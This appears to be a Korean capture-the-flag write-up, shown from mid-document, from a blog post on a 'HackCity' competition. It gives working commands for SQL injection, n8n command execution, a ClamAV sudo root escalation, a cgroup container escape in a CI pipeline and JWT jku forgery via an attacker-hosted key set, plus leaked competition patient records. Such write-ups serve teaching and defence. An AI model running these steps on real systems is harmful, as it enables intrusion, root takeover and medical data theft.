ldapsearch -x -H ldap://callback-host:1389 \ -D "AA@dev.ftech.local" -w '<redacted>' \ -b "DC=dev,DC=ftech,DC=local" "(objectClass=user)" sAMAccountName


서비스 계정도 발견되었습니다: `phantom-svc`, `spectre-svc`, `vortex-svc`, `nexus-svc`, `cipher-svc`, `shadow-svc` — 이 일치하는 팀 서비스 계정은 나중에 GitLab 러너 호스트에서 발견되었습니다.

#### Kerberos TGT 획득

MSSQL(아래 참조)에서 해독된 자격 증명을 사용하여 Kerberos TGT가 발급되었습니다.

GetNPUsers.py -dc-ip callback-host \ -dc-host dev-dc02.dev.ftech.local \ DEV.FTECH.LOCAL/RG@DEV.FTECH.LOCAL:'<redacted>' -k


| 교장 | 유효기간 | 키 유형 |
|------------|-------------|----------|
| RG@DEV.FTECH.local | 2026-04-25 19:32:18 | aes256_cts_hmac_sha1_96 |
| SY@DEV.FTECH.local | 2026-04-25 19:32:41 | aes256_cts_hmac_sha1_96 |
| YA@DEV.FTECH.local | 2026-04-25 16:29:05 | aes256_cts_hmac_sha1_96 |

#### NETLOGON 공유 액세스

Kerberos SMB 인증을 위해 `RG@DEV.FTECH.LOCAL`의 TGT를 사용하여 NETLOGON 공유에 액세스:

export KRB5CCNAME=<redacted>.ccache smbclient //dev-dc02.dev.ftech.local/NETLOGON -k -I callback-host -p 1445 -c 'ls'


Elastic Agent 배포 파일이 NETLOGON에서 발견되었습니다.

| 경로 | 파일 | 설명 |
|------|------|-------------|
| `NETLOGON\Elastic\` | `elastic-agent-8.17.10-windows-x86_64.zip` | Elastic Agent 설치 프로그램 |
| `NETLOGON\Elastic\` | `elk-ca.cer` | ELK CA 인증서 |
| `NETLOGON\Elastic\` | `Install-ElasticAgent.ps1` | GPO 배포 스크립트 |

#### Install-ElasticAgent.ps1 - 플릿 인프라 누출

이 PowerShell 스크립트는 GPO 예약 작업(`DEV\Administrator`에서 작성, `NT AUTHORITY\System`로 실행)을 통해 배포되었으며 하드코딩된 Fleet 서버 정보를 포함했습니다.

smbclient //dev-dc02.dev.ftech.local/NETLOGON -k -I callback-host -p 1445 \ -c 'get Elastic\Install-ElasticAgent.ps1 /tmp/Install-ElasticAgent.ps1'


| 필드 | 가치 |
|-------|-------|
| Fleet URL | `https://fleet-server:8220` |
| Enrollment Token | `<redacted>` |
| Decoded Token | `<redacted>` |
| Source Share | `\\dev.ftech.local\NETLOGON\Elastic` |

ftech.hkc에서 `curl https://fleet-server:8220/api/status`를 실행하면 CORP 또는 SCADA 세그먼트의 실시간 함대 관리 엔드포인트인 `{"name":"fleet-server","status":"HEALTHY"}`가 반환되었습니다.

### backup / vault (Backup / Vault)

이 두 호스트는 ftech.hkc XXE 기반의 `/etc/hosts`에서 직접 이름이 지정되었으며 이후 DEV 후속 조치에 계속 표시되었습니다. 둘 다 분명히 Windows 인프라 호스트였고 나중에 GitLab/runner 아티팩트에서도 이를 명시적으로 참조했기 때문에 좋은 Lateral Movement 대상처럼 보였습니다.

Runner 호스트에서 루트를 얻고 일반 텍스트 DEV 사용자 비밀번호를 복구한 후 SMB를 통해 두 호스트에 대해 여러 도메인 사용자의 유효성을 검사했습니다. 로그온은 실제였지만 `C$`에 액세스하려는 모든 시도에서 `STATUS_ACCESS_DENIED`가 반환되었으므로 자격 증명은 관리 액세스가 아닌 사용자 수준 유효성을 확인하는 데만 충분했습니다.

이후 GitLab 루트 PAT와 프로젝트 43(`hc_recon.sh`)의 실행자 루트 검토에서는 백업 및 저장소를 인벤토리 대상으로만 참조했습니다. 이러한 호스트에 연결된 서비스 자격 증명, 비밀 또는 자동화 토큰이 존재하지 않았습니다. 즉, 두 호스트 모두 적극적으로 검토를 받았지만 대회 기간 동안 다음 발판으로 전환하지 못했습니다.

### itop (iTop)

이 호스트는 ftech.hkc 피벗 맵에서 처음에는 웹 전용 DEV 대상으로 나타났으며 나중에는 Apache에서 실행되는 iTop 2.4.0 인스턴스로 밝혀졌습니다.

Runner 호스트에서 복구된 일반 텍스트 DEV 계정 세트를 사용하여 iTop 로그인 페이지에 대해 집중적인 자격 증명 재사용 검사를 수행했습니다. 응답은 지속적으로 로그인 양식을 반환했으며 긍정적인 로그인 신호를 생성하지 않았으므로 유효한 동일 체인 액세스가 확인되지 않았습니다.

결과적으로 itop은 조사되었지만 아직 활용되지 않은 측면 차선으로 남아 있었습니다. 시간이 더 있었다면 다음 단계는 버전별 iTop 취약점 검토 또는 더 광범위하게 인증된 재사용 패스였을 것입니다.

---

### n8n-share (n8n-share, FileShare + n8n)

| 필드 | 가치 |
|-------|-------|
| Host | n8n-share |
| Host Name | n8n-share |
| Segment | DEV |
| Service | SSH/22, HTTP/80(파일 공유 + n8n) |

이 호스트는 FileShare(Flask 기반 파일 공유 플랫폼)와 n8n(워크플로 자동화)이라는 두 가지 웹 서비스를 실행했습니다. ftech.hkc Nginx vhost 라우팅을 통해 액세스했습니다.

- `Host: cdn-a7e2.ftech.hkc` → 파일 공유(localhost:5000 gunicorn)
- `Host: telemetry-b91.ftech.hkc` → n8n (localhost:5678)

이 호스트를 통한 공격 체인은 다음과 같습니다.

FileShare login (AS@local) → SECRET_KEY recovery → administrator session forge → ORDER BY SQLi → n8n scanner credential → n8n RCE (Execute Command node) → ClamAV sudo LPE → root → config.json → AM@dev.ftech.local → MSSQL access


#### 1단계: 파일 공유 초기 액세스

FileShare 소스 코드는 GitLab의 공개 프로젝트 `AS@local/fileshare`로 제공되었으며, 이를 통해 앱 구조가 공개되었습니다. `AS@local / <redacted>`로 로그인이 가능했습니다(이 자격 증명은 나중에 MSSQL 암호 해독 결과에서도 발견되었습니다).

curl -s http://ftech.hkc/login \ -H "Host: cdn-a7e2.ftech.hkc" \ -d "username=AS@local&password=<redacted>"

→ 302 /2fa → session cookie issued


#### 2단계: SECRET_KEY 복구 및 관리 세션 Forge

`Bug n8n-share:80 Arbitrary File Read / LFI / 200 pts`

로그인한 후 파일 미리보기 API는 디스크에서 앱 구성 파일을 읽을 수 있습니다.

curl -s http://ftech.hkc/api/files/preview?path=data/.secret_key \ -H "Host: cdn-a7e2.ftech.hkc" \ -H "Cookie: session=<redacted_session>"


**SECRET_KEY**: `<redacted>`

이 키는 Flask 세션 쿠키를 위조하는 데 사용되었습니다.

Forged session payload

{"user_id": 1, "authenticated": True, "2fa_passed": True}


위조된 관리자 세션은 모든 FileShare 사용자와 함께 `/api/admin/users`에서 HTTP 200을 반환했습니다.

#### 3단계: ORDER BY SQLi → n8n 자격 증명

`Bug n8n-share:80 SQLi / 300 pts`

관리자 세션을 사용하여 `/api/files/search` 엔드포인트에서 ORDER BY SQL 주입을 통해 FileShare DB 통합 테이블에서 자격 증명을 추출했습니다.

Boolean-based blind ORDER BY SQLi oracle

curl -s "http://ftech.hkc/api/files/search?sort=..." \ -H "Host: cdn-a7e2.ftech.hkc" \ -H "Cookie: session=<forged_admin_session>"


| 사용자 이름 | 비밀번호 | 서비스 |
|------------|------------|---------|
| SU@dev.ftech.local | `<redacted>` | n8n 스캐너 |
| BU@dev.ftech.local | `<redacted>` | 백업 서비스 |

`SU@dev.ftech.local` 비밀번호는 n8n의 `.n8n/database.sqlite`에 있는 bcrypt 해시와 일치합니다.

참고: 두 자격 증명 모두 DEV LDAP/SMB 및 GitLab에서 유효하지 않았습니다. 이는 FileShare/n8n 관련 서비스 계정이었습니다.

#### 4단계: n8n RCE — 워크플로 수동 트리거

`Bug n8n-share:80 RCE / 400 pts`

`SU@dev.ftech.local / <redacted>`로 n8n에 로그인한 후 수동 트리거 API를 통해 임의의 워크플로 실행이 가능했습니다.

curl -s http://ftech.hkc/rest/workflows/run \ -H "Host: telemetry-b91.ftech.hkc" \ -H "Cookie: n8n-auth=<scanner_session>" \ -H "Content-Type: application/json" \ -d '{ "workflowData": { "nodes": [{ "type": "n8n-nodes-base.executeCommand", "parameters": { "command": "id >/tmp/scanner_member_proof.txt; hostname >>/tmp/scanner_member_proof.txt; pwd >>/tmp/scanner_member_proof.txt" }, "name": "cmd", "position": [250,300] }], "connections": {} } }'


**실행 결과**(executionId 314):

uid=115(n8n-service) gid=120(n8n-service) groups=120(n8n-service) n8n-share /home/n8n-service


명령 실행은 n8n-service로 이루어졌습니다.

#### 5단계: ClamAV sudo LPE — n8n-service → 루트

`Bug n8n-share:80 ClamAV sudo LPE / 500 pts`

n8n-service sudoers 구성은 다음과 같습니다.

(root) NOPASSWD: /usr/bin/clamscan /opt/fileshare/uploads/*


와일드카드 `*`가 문제입니다. 추가 플래그(`-d`, `--move`, `--copy`) 및 경로 탐색(`../../../`)을 주입할 수 있습니다. 공격 순서:

**1) 사용자 정의 ClamAV 서명 만들기:**```bash
# Signature matching "ssh-" (to flag existing authorized_keys as "infected")
echo "CatchSSH:0:*:7373682d" > /tmp/catchssh.ndb

# Signature matching "root:" (to flag our crafted file as "infected")
echo "CatchAll:0:*:726f6f743a" > /tmp/catchall.ndb

2) SSH 키 쌍 생성:```bash ssh-keygen -t ed25519 -f /tmp/privesc_key -N "" -q


**3) 트리거 문자열을 사용하여 Authorized_keys를 준비합니다.**```bash
mkdir -p /tmp/mykeys
PUBKEY=$(cat /tmp/privesc_key.pub)
printf "%s root:\n" "$PUBKEY" > /tmp/mykeys/authorized_keys

4) 기존 루트 authenticate_keys를 밖으로 이동(제거):```bash sudo /usr/bin/clamscan /opt/fileshare/uploads/../../../root/.ssh/authorized_keys \ -d /tmp/catchssh.ndb --move=/tmp/backup_keys/

Result: /root/.ssh/authorized_keys: CatchSSH.UNOFFICIAL FOUND → moved


**5) 공격자의 Authorized_keys를 루트에 복사합니다.**```bash
sudo /usr/bin/clamscan /opt/fileshare/uploads/../../../tmp/mykeys/authorized_keys \
-d /tmp/catchall.ndb --copy=/root/.ssh/
# Result: copied to /root/.ssh/authorized_keys

6) SSH를 루트로 사용:```bash ssh -i /tmp/privesc_key R@localhost

uid=0(root) gid=0(root) groups=0(root)

n8n-share


중요한 통찰력은 sudoers 와일드카드 `*`가 플래그 삽입과 경로 탐색을 모두 허용하고 사용자 정의 `.ndb` 서명이 모든 파일을 "감염됨"으로 표시하여 `--move`/`--copy` 작업을 모든 디렉터리의 루트로 트리거할 수 있다는 것입니다.

#### 루트 이후: 자격 증명 수집

루트를 얻은 후 다음 파일에서 중요한 자격 증명을 찾았습니다.

**`/root/config.json`:**```json
{"username": "AM@dev.ftech.local", "password": "<redacted>"}

이 자격 증명은 MSSQL Windows 인증에 사용되었습니다.

`/opt/scripts/integrity-start.sh`:

# LEGACY: remove after FSH-128 (Vault migration complete)
BACKUP_SSH_USER=root
BACKUP_SSH_PASSWORD=<redacted>

이 비밀번호는 ClamAV 익스플로잇이 없는 대체 루트 경로인 su - root에서도 작동합니다.

sql (MSSQL Server, sql.dev.ftech.local)

필드가치
호스트SQL
호스트 이름SQL / SQL
FQDNSQL.dev.ftech.local
세그먼트개발
서비스HTTP/80, RPC/135, SMB/139, MSSQL/1433, RDP/3389

n8n-share에서 얻은 AM@dev.ftech.local / <redacted>를 사용하여 Windows 인증을 통해 MSSQL에 액세스했습니다.

액세스 경로

Attacker → VPN → ftech.hkc (RCE)
→ chisel reverse tunnel → callback host (callback-host)
→ ligolo-ng tunnel → DEV segment → sql:1433
proxychains4 -q mssqlclient.py 'dev.ftech.local/AM@dev.ftech.local:<redacted>@sql' -windows-auth

연결 후 발견 항목:

필드가치
시스템_사용자`DEV\\AM`
IS_SRVROLEMEMBER('sysadmin')0(표준 사용자)
데이터베이스master, tempdb, model, msdb, **integration**

Integration.dbo.temporary_access — 19 AES-ECB 암호화 자격 증명

integration 데이터베이스에는 AES-128-ECB로 암호화된 19개의 DEV 도메인 사용자 자격 증명이 포함된 temporary_access 테이블이 포함되어 있습니다.

SELECT * FROM integration.dbo.temporary_access;
대표사용자명암호화된 비밀번호(16진수)
AA@dev.ftech.local`<redacted>`
RG@dev.ftech.local`<redacted>`
SY@dev.ftech.local`<redacted>`
`16 additional entries``<redacted>`

AES-128-ECB 암호 해독

복호화 키는 처음 대회 시작 시 팀 별로 제공되어 사용하였습니다.

from Crypto.Cipher import AES

key = bytes.fromhex("<redacted>")
cipher = AES.new(key, AES.MODE_ECB)

encrypted = bytes.fromhex("<redacted>")
plaintext = cipher.decrypt(encrypted)
plaintext = plaintext[:-plaintext[-1]].decode() # PKCS7 unpad
# AA@dev.ftech.local -> <redacted>

19개 모두 성공적으로 복호화되었으며 모든 계정은 Kerberos TGT 획득을 통해 활성 DEV 도메인 계정으로 검증되었습니다.

대표사용자명해독된 비밀번호
AA@dev.ftech.local`<redacted>`
RG@dev.ftech.local`<redacted>`
SY@dev.ftech.local`<redacted>`
`16 additional entries``<redacted>`

가장 중요한 복구 계정은 AA@dev.ftech.local / <redacted>였습니다. 이 자격 증명은 GitLab의 개인 저장소에 대한 액세스 권한을 부여했습니다.

gitlab (GitLab, dev.ftech.local)

필드가치
호스트gitlab
호스트 이름gitlab
세그먼트개발
서비스HTTP/80(GitLab CE)

GitLab은 ftech.hkc Nginx 가상 호스트 라우팅을 통해 액세스되었습니다.

# Access GitLab via Host header
curl -s http://ftech.hkc/ -H "Host: gitlab.ftech.hkc"

먼저 공개 프로젝트 AS@local/fileshare(프로젝트 41)를 사용할 수 있었습니다. 이는 n8n-share에서 실행되는 FileShare 앱의 소스 코드였습니다.

인증된 액세스 — AA@dev.ftech.local

AA@dev.ftech.local / <redacted>(MSSQL에서 해독됨)를 사용하여 GitLab에 로그인하면 개인 프로젝트에 대한 액세스 권한이 부여됩니다.

# Web login
curl -s http://ftech.hkc/users/sign_in \
-H "Host: gitlab.ftech.hkc" \
-d "user[login]=AA@dev.ftech.local&user[password]=<redacted>"

# Git clone (through DEV pivot)
git clone http://AA%40dev.ftech.local:<redacted>@gitlab/AA/FastenBuild.git

이 초기 GitLab 웹 로그인 및 HTTP Git 인터페이스를 통해 AA@dev.ftech.local 자격 증명을 사용했습니다. 유출된 TL@landing SSH 키는 나중에 CI/CD 작업 추적에서 발견되었으며 초기 GitLab 액세스에는 필요하지 않았습니다.

FastenBuild 프라이빗 프로젝트(프로젝트 21)

AA@dev.ftech.local 복제 프로젝트 FastenBuild 공개:

경로설명
`.gitlab-ci.yml`CI/CD 파이프라인 구성
`src/deploy-soft/Cargo.toml`Rust 프로젝트 매니페스트
`src/deploy-soft/src/deploy.rs`배포 자동화 도구
`src/deploy-soft/src/harden.rs`시스템 강화 스크립트
`src/deploy-soft/src/main.rs`Rust의 주요 진입점
`src/landing/src/admin-backup/app.py`Flask 관리 백업 앱(**SSTI 취약**)
`src/landing/src/admin-backup/users.db`SQLite 사용자 자격 증명 DB
`src/landing/src/landing/index.php`PHP 랜딩 페이지(**XXE 취약**)

app.py는 ftech.hkc의 숨겨진 가상 호스트(admin-editor-backup.ftech.hkc)에서 실행되는 동일한 SSTI 취약 Flask 앱이었습니다. index.php는 XXE에 취약한 PHP 코드와도 동일했습니다.

이것이 Risk: Proprietary Source Code Leakage / 2500 pts를 구성했습니다.

users.db — 로컬 계정 해시

Schema: CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)
아이디사용자 이름비밀번호(SHA-256)
1A1@로컬`<redacted>`
2A2@로컬`<redacted>`
3A3@로컬`<redacted>`
4A4@로컬`<redacted>`
5A5@로컬`<redacted>`

이 해시는 Flask 관리자 백업 앱 로그인을 위한 것이지만 비밀 키가 이미 유출되었기 때문에 세션 위조는 인증을 완전히 우회하므로 크래킹이 꼭 필요한 것은 아닙니다.

SSH 개인 키 유출 — job 339

CI/CD 파이프라인 342/작업 339 추적 출력에서 ​​OpenSSH 개인 키가 유출되었습니다.

# Job trace download via GitLab API
curl -s http://ftech.hkc/api/v4/projects/21/jobs/339/trace \
-H "Host: gitlab.ftech.hkc" \
-H "PRIVATE-TOKEN: <gitlab_token>"
필드가치
키 유형RSA
댓글`TL@landing`
파이프라인/작업342 / 339 (성공)

이 키는 나중에 러너 호스트의 /opt/id_rsa와 동일한 것으로 확인되었습니다.

러너 인프라

필드가치
러너 ID27
러너 이름`runner-team1`
상태온라인
러너 관리자 호스트runner
집행자Docker(Privileged 모드)

권한 있는 Docker 실행기 구성은 컨테이너 이스케이프가 가능함을 나타내어 실행기 손상으로 이어졌습니다.

runner (GitLab Runner, runner.dev.ftech.local)

필드가치
호스트runner
호스트 이름runner
세그먼트DEV
서비스SSH/22

이 호스트는 GitLab CI/CD 실행 관리자였습니다. 구성에는 총 8개의 팀별 실행기 항목이 포함되어 있으며 모두 권한이 있는 Docker 실행기를 사용하여 컨테이너 이스케이프 → 호스트 루트가 가능해졌습니다.

실행기 구성(/etc/gitlab-runner/config.toml)

루트 획득 후 확인된 러너 구성:

concurrent = 19

이 글과 직접적으로 관련된 실행 항목만 아래에 표시됩니다.

관련성러너아이디네트워크메모
익스플로잇 체인`runner-team1`27`ctf-team1-net`FastenBuild 프로젝트에 연결되어 성공적인 탈출 경로에 사용됨
후속 피벗`runner-team7`33`ctf-team7-net``pre_build_script`는 환경 데이터를 `/cache/.kh_envs/*.env`에 덤프하여 가장 흥미로운 루트 후 HackCity 리드가 되었습니다

전체적으로 러너 매니저에는 8개의 러너 항목이 포함되어 있습니다. 익스플로잇 자체에는 연결된 FastenBuild 실행기(runner-team1)만 필요했지만 runner-team7는 익스플로잇 후 후속 조치 중에만 관련성이 있게 되었습니다.

모든 실행기의 공통 Docker 설정:

[runners.docker]
privileged = true
network_mode = "ctf-teamX-net"
volumes = ["/cache:/cache"]
security_opt = ["apparmor:unconfined"]
cap_add = ["SYS_ADMIN"]
pull_policy = ["never"]

privileged = true, CAP_SYS_ADMIN, apparmor:unconfined - 이 조합은 cgroup 기반 컨테이너 이스케이프에 충분합니다. /cache:/cache 호스트 마운트를 사용하면 파일 교환이 쉬워집니다.

권한 있는 컨테이너 이스케이프를 통한 RCE

Bug runner:22 RCE / 400 pts

1단계 — 검색 파이프라인(파이프라인 594 / 작업 608):

먼저 .gitlab-ci.yml를 수정하여 컨테이너 환경을 점검했습니다. 컨테이너 루트 액세스, 호스트 마운트 /builds/cache 디렉터리가 확인되었습니다.

2단계 — 파이프라인 탈출(파이프라인 597 / 작업 611):

cgroup notify_on_release 컨테이너 이스케이프가 수행되었습니다.

stages:
- deploy

deploy:
stage: deploy
script:
# Mount cgroup and set up notify_on_release
- mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
- mkdir /tmp/cgrp/cgrp_escape2
- echo 1 > /tmp/cgrp/cgrp_escape2/notify_on_release
- host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
- echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Write payload to execute on host: add SSH key + create proof file
- echo '#!/bin/sh' > /cmd
- echo "echo '<ed25519_pubkey>' >> /root/.ssh/authorized_keys" >> /cmd
- echo "id > /cache/test" >> /cmd
- echo "hostname >> /cache/test" >> /cmd
- echo "ip -o -4 addr >> /cache/test" >> /cmd
- chmod a+x /cmd
# Trigger: process joins cgroup then exits → kernel runs release_agent as host root
- sh -c "echo \$\$ > /tmp/cgrp/cgrp_escape2/cgroup.procs"
- sleep 2
- cat /cache/test
tags:
- runner-team1

Job 611 출력(호스트 측 증명):

uid=0(root) gid=0(root) groups=0(root)
runner
2: ens34 inet <runner-address> brd <dev-broadcast> scope global ens34

공격 원칙: 권한 있는 컨테이너 내에서 cgroup 파일 시스템을 마운트하고 notify_on_release=1를 설정하면 cgroup의 마지막 프로세스가 종료될 때 커널이 호스트의 루트로 release_agent 스크립트를 실행하게 됩니다. 이는 직접 SSH 액세스를 위해 /root/.ssh/authorized_keys에 SSH 키를 추가하는 데 사용되었습니다.

3단계 — 직접 SSH 확인:

콜백 호스트(callback-host)에서는 탈출 과정에서 삽입된 ed25519 키를 이용해 SSH 접속을 확인했습니다.

ssh -i /tmp/runner48_root <runner-root>@runner
# uid=0(root) gid=0(root) groups=0(root)
# runner
# 2: ens34 inet <runner-address> brd <dev-broadcast> scope global ens34

이는 전체 공격 체인과 결합되어 Risk: Disrupting the Workflow / 5000 pts를 구성했습니다.

악용 후

루트 확보 후 추가 탐색을 통해 가치가 높은 미완성 경로 2개를 식별했습니다.

`/opt/id_rsa` — SSH 개인 키 발견:

필드가치
FingerPrint`SHA256:SQf305leIo2kqlRPGz3O2Ooo+sGVQHEUDHYaLv8rIlA`
Comment`TL@landing`

GitLab 작업 339 추적에서 유출된 키와 동일한 키입니다.

SYSVOL GPO 분석 — 기본 도메인 컨트롤러 정책(GptTmpl.inf)은 백업/볼트 액세스를 위한 사용자 정의 도메인 그룹 매핑 없이 기본 제공 그룹 권한 할당만 표시했습니다.

GitLab 루트 PAT 후속 조치 — GitLab 루트 액세스를 사용하여 프로젝트 40, 42, 43, 44에서 변수 및 트리거를 확인했습니다. 모두 비어 있습니다. 프로젝트 43(Access Broker)에는 호스트 목록의 백업 및 저장소를 참조하는 hc_recon.sh가 있었지만 실행 가능한 자격 증명은 발견되지 않았습니다.

동일한 체인 후속 작업에서는 백업(Backup) 또는 볼트(Vault)에 대한 새로운 실행 가능한 자격 증명을 생성하지 않았습니다.

Backup/Vault lane — 백업 및 Vault에 대해 광범위하게 인증된 복구된 DEV 일반 텍스트 자격 증명이 있으며 하나의 계정이 RDP NLA 검증을 통과했습니다. 그러나 C$, ADMIN$Backups 공유는 거부된 상태로 유지되었으며 동일한 체인 repo/GPO 후속 조치는 여전히 실행 가능한 자격 증명을 생성하지 못했습니다. 이것은 Risk: Ransomware attack on backup server / 5000 pts에 가장 가까운 남은 경로였지만 목표 완료에 미치지 못했습니다.

hackcity-medical (HackCity Medical Center)

필드가치
호스트hackcity-medical
세그먼트HackCity
서비스HTTPS
역할환자기록관리시스템

이 호스트는 HackCity 세그먼트에 있으며 DEV 세그먼트에서 피벗해 접근했습니다.

JWT JKU 헤더 삽입 → 의료 데이터 침해

환자 포털은 인증을 위해 RS256 JWT 토큰을 사용합니다. JWT 헤더에는 jku(JSON 웹 키 세트 URL) 매개변수가 포함되어 있으며 서버는 유효성 검사 없이 jku 헤더에 지정된 URL에서 JWKS를 가져와 신뢰합니다. 이를 통해 사용자 정의 JWKS를 호스팅하여 임의의 JWT를 위조할 수 있습니다.

1단계 — 로그인 및 JWT 구조 검사:

# Login with a publicly registered account
TOKEN=$(curl -s https://hackcity-medical/api/auth/login \
-d '{"email":"TU@hackcity.local","password":"<redacted>"}' | jq -r .token)

# Decode JWT header
echo $TOKEN | cut -d. -f1 | base64 -d
# {"alg":"RS256","jku":"http://hackcity.local/.well-known/jwks.json","typ":"JWT"}

jkuhttp://hackcity.local/.well-known/jwks.json를 가리킵니다. 이를 공격자가 제어하는 ​​서버로 변경하는 것이 공격 벡터입니다.

2단계 - 공격자 JWKS 생성 및 호스팅:

# On callback host (callback-host)
openssl genrsa -out attacker.pem 2048
openssl rsa -in attacker.pem -pubout -out attacker_pub.pem

# Convert to JWK format and serve via HTTP
python3 -m http.server 8888 &

3단계 — Forge Doctor 토큰:

import jwt

forged = jwt.encode(
{"sub": "TU@hackcity.local", "role": "doctor", "exp": ...},
attacker_private_key,
algorithm="RS256",
headers={"jku": "http://callback-host:8888/jwks.json"}
)

rolepatient에서 doctor로 변경되었으며, jku는 공격자의 개인 키로 서명된 공격자 서버를 가리킵니다.

4단계 — 환자 기록에 액세스:

curl -s https://hackcity-medical/api/doctor/patients \
-H "Authorization: Bearer $FORGED_TOKEN"

유출된 환자 데이터(기록 11개)

/api/doctor/patients의 위조 의사 JWT는 11명의 환자 기록을 모두 반환했으며 /api/doctor/patients/{id}는 주소, 보험 번호, 비상 연락처, 진단 및 치료 계획을 포함한 전체 세부 정보를 제공했습니다.

#이름IIN성별혈액진단만성 질환알레르기
1굴누르 아이트마감베트키지UF312291FB+기운이 있는 편두통
2굴나즈 무카노바UH834424F오-식물성 혈관긴장이상
3굴잔 보케이칸키지NO796783FA-경추 골연골증만성 신장 질환
4예르케불란 알틴베코프VF857821오+식물성 혈관긴장이상
5아바이 아이트마감베툴리JE774034B+늑간 신경통COPD, 천식
6누르술탄 켄제바예프LD753370A-기운이 있는 편두통관상동맥질환, COPD
7사울레 아이마노바NG382222FAB+경추 골연골증페니실린, 아스피린, 설폰아미드

(나머지 4개 레코드는 XSS/SSTI 페이로드가 포함된 다른 팀에서 만든 테스트 계정이었습니다.)

각 환자의 세부 기록에는 주소, 전화번호, 보험번호, 비상 연락처, 진단(러시아어/영어/카자흐어), 치료 계획, 만성 질환 및 알레르기가 포함되었습니다. 예를 들어, Gulnur Aitmagambetkyzy의 기록은 다음과 같습니다.

필드가치
주소268 Willow Way, Apt 147, 힐사이드 쿼터, HackCity
보험HC-15681611
비상연락처가우하르 즈홀다소바(+47-307-879-1964)
진단기운이 있는 편두통
치료 계획침상 안정, 충분한 수분 공급, 해열에는 파라세타몰 500mg

이를 통해 Risk: Leak of confidential data: Healthcare service / 5000 pts 를 작성할 수 있습니다.

호스트별 취약점 요약

호스트조사 결과 / 포인트 기회
ftech.hkcXXE(300), SSTI(300), RCE(400)
careersSSRF(300), RCE(400)
swiftdropIDOR(100), SQLi(300), SSTI(400), RCE(400), Secret Company Contract risk (5000)
polymarketPath Traversal / LFI (200), Critical Corporate Report risk (7500)
n8n-share임의 파일 읽기/LFI(200), SQLi(300), RCE(400), ClamAV sudo LPE(500)
gitlab독점 소스코드 유출위험(2500)
runnerRCE(400), Disrupting the Workflow risk (5000)
hackcity-medicalJWT JKU 주입/헬스케어 데이터 침해 위험(5000)
네트워크에 공유해보세요LinkedInX

이 글이 유익하셨나요?

네트워크에 공유해보세요

Share:
뉴스레터

다음 글을 메일로 받아보세요

Cremit 리서치 팀의 월간 NHI 브리프. 한 통에 핵심만 담습니다.

이메일은 공유하지 않으며, 한 번의 클릭으로 수신거부 가능합니다.